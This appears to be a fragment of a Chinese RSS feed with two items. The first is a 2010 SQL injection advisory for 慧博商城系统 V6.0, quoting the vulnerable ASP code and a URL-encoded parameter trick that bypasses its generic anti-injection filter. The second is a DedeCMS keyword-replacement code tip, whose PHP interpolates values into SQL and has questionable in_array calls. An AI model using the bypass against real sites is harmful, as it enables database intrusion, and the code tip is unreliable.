		<description><![CDATA[发布日期：2010-09.23<br/>发布作者：m4r10 <br/>影响版本：慧博商城系统V6.0<br/><br/>漏洞类型：注入漏洞<br/>漏洞描述：慧博商城系统V6.0未经过严格过滤，导致SQL注入漏洞。<br/><br/>漏洞分析:product_inc.asp、checkSQL.asp<br/><br/> <br/><br/>01.product_inc.asp:&nbsp;&nbsp;02. 03.Id = Trim(Request.QueryString(&#34;id&#34;))&nbsp;&nbsp;04.If Id=&#34;&#34; then&nbsp;&nbsp;05.Response.Write(&#34;&lt;script language=&#39;javascript&#39;&gt;alert(&#39;该商品不存在！&#39;);history.go(-1);&lt;/script&gt;&#34;)&nbsp;&nbsp;06.Response.End&nbsp;&nbsp;07.End If&nbsp;&nbsp;仅仅过滤了前后空格，之后文件中调用了checkSQL.asp通用防注入。<br/><br/>checkSQL.asp：<br/><br/>第6行：<br/><br/>01.Fy_Url=Request.ServerVariables(&#34;QUERY_STRING&#34;) 这个不多说了，大牛们多年前就对此通用防注入进行了研究。下面直接给出利用过程<br/><br/> <br/><br/>漏洞利用：<br/><br/><a href="http://URL/product.asp?%69d=1" target="_blank" rel="external">http://URL/product.asp?%69d=1</a> 扔进注入工具里直接跑即可<br/><br/>注：6.0以后版本加入了CNum函数进行了IsNumeric判断与CLng转换过滤了此处注入<br/><br/><br/><br/>原文链接：<a href="http://www.hackline.net/a/news/ldfb/web/2010/0923/5881.html" target="_blank" rel="external">http://www.hackline.net/a/news/ldfb/web/2010/0923/5881.html</a><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.zrwebsite.cn/article/web/115.htm</link>
			<title><![CDATA[dedecms关键词替换解决方法]]></title>
			<author>rik1688@vip.qq.com(王者星星)</author>
			<category><![CDATA[网站建设]]></category>
			<pubDate>Mon,20 Sep 2010 10:38:59 +0800</pubDate>
			<guid>http://www.zrwebsite.cn/default.asp?id=115</guid>
		<description><![CDATA[<p>只要在文档关键词替换那边做了设置，文章内有出现该词就会替换！</p>
<p>打开/include/arc.archives.class.php 找到</p>
<p>foreach($kws as $k) <br />
{ <br />
&nbsp;&nbsp; $k = trim($k); <br />
&nbsp;&nbsp; if($k!=&quot;&quot;) <br />
&nbsp;&nbsp; { <br />
&nbsp;&nbsp;&nbsp; if($i &gt; $maxkey) <br />
&nbsp;&nbsp;&nbsp; { <br />
&nbsp;&nbsp;&nbsp;&nbsp; break; <br />
&nbsp;&nbsp;&nbsp; } <br />
&nbsp;&nbsp;&nbsp; $myrow = $this-&gt;dsql-&gt;GetOne(&quot;select * from cz_keywords where keyword='$k' And <br />
rpurl&lt;&gt;'' &quot;); <br />
&nbsp;&nbsp;&nbsp; if(is_array($myrow)) <br />
&nbsp;&nbsp;&nbsp; { <br />
&nbsp;&nbsp;&nbsp;&nbsp; $karr[] = $k; <br />
&nbsp;&nbsp;&nbsp;&nbsp; $GLOBALS['replaced'][$k] = 0; <br />
&nbsp;&nbsp;&nbsp;&nbsp; $kaarr[] = &quot;&lt;a href='{$myrow['rpurl']}'&gt;$k&lt;/a&gt;&quot;; <br />
&nbsp;&nbsp;&nbsp; } <br />
&nbsp;&nbsp;&nbsp; $i++; <br />
&nbsp;&nbsp; } <br />
}</p>
<p>把他替换成：</p>
<p>$dsql = new DedeSql(false); <br />
$query=&quot;select * from <a href="http://www.zrwebsite.cn/mailto:#@__keywords">#@__keywords</a> where rpurl&lt;&gt;'' &quot;; <br />
$dsql-&gt;SetQuery($query); <br />
$dsql-&gt;Execute(); <br />
while($row = $dsql-&gt;GetArray()) <br />
{ <br />
&nbsp; $key = trim($row['keyword']); <br />
&nbsp; $rul=trim($row['rpurl']); <br />
&nbsp; if($rul!=&quot;&quot;) <br />
&nbsp; if(!in_array($key, $kw)) <br />
&nbsp; if(!in_array($kw,$key)) <br />
&nbsp; if(substr_count($body,$key)&lt;5) <br />
&nbsp; {&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; $karr[] = $key; <br />
&nbsp;&nbsp;&nbsp; $kaarr[] = &quot;&lt;a href='$rul'&gt;$key&lt;/a&gt;&quot;; <br />
&nbsp;&nbsp; } <br />
}<br />
&nbsp;</p>]]></description>
		</item>
		
</channel>
</rss>

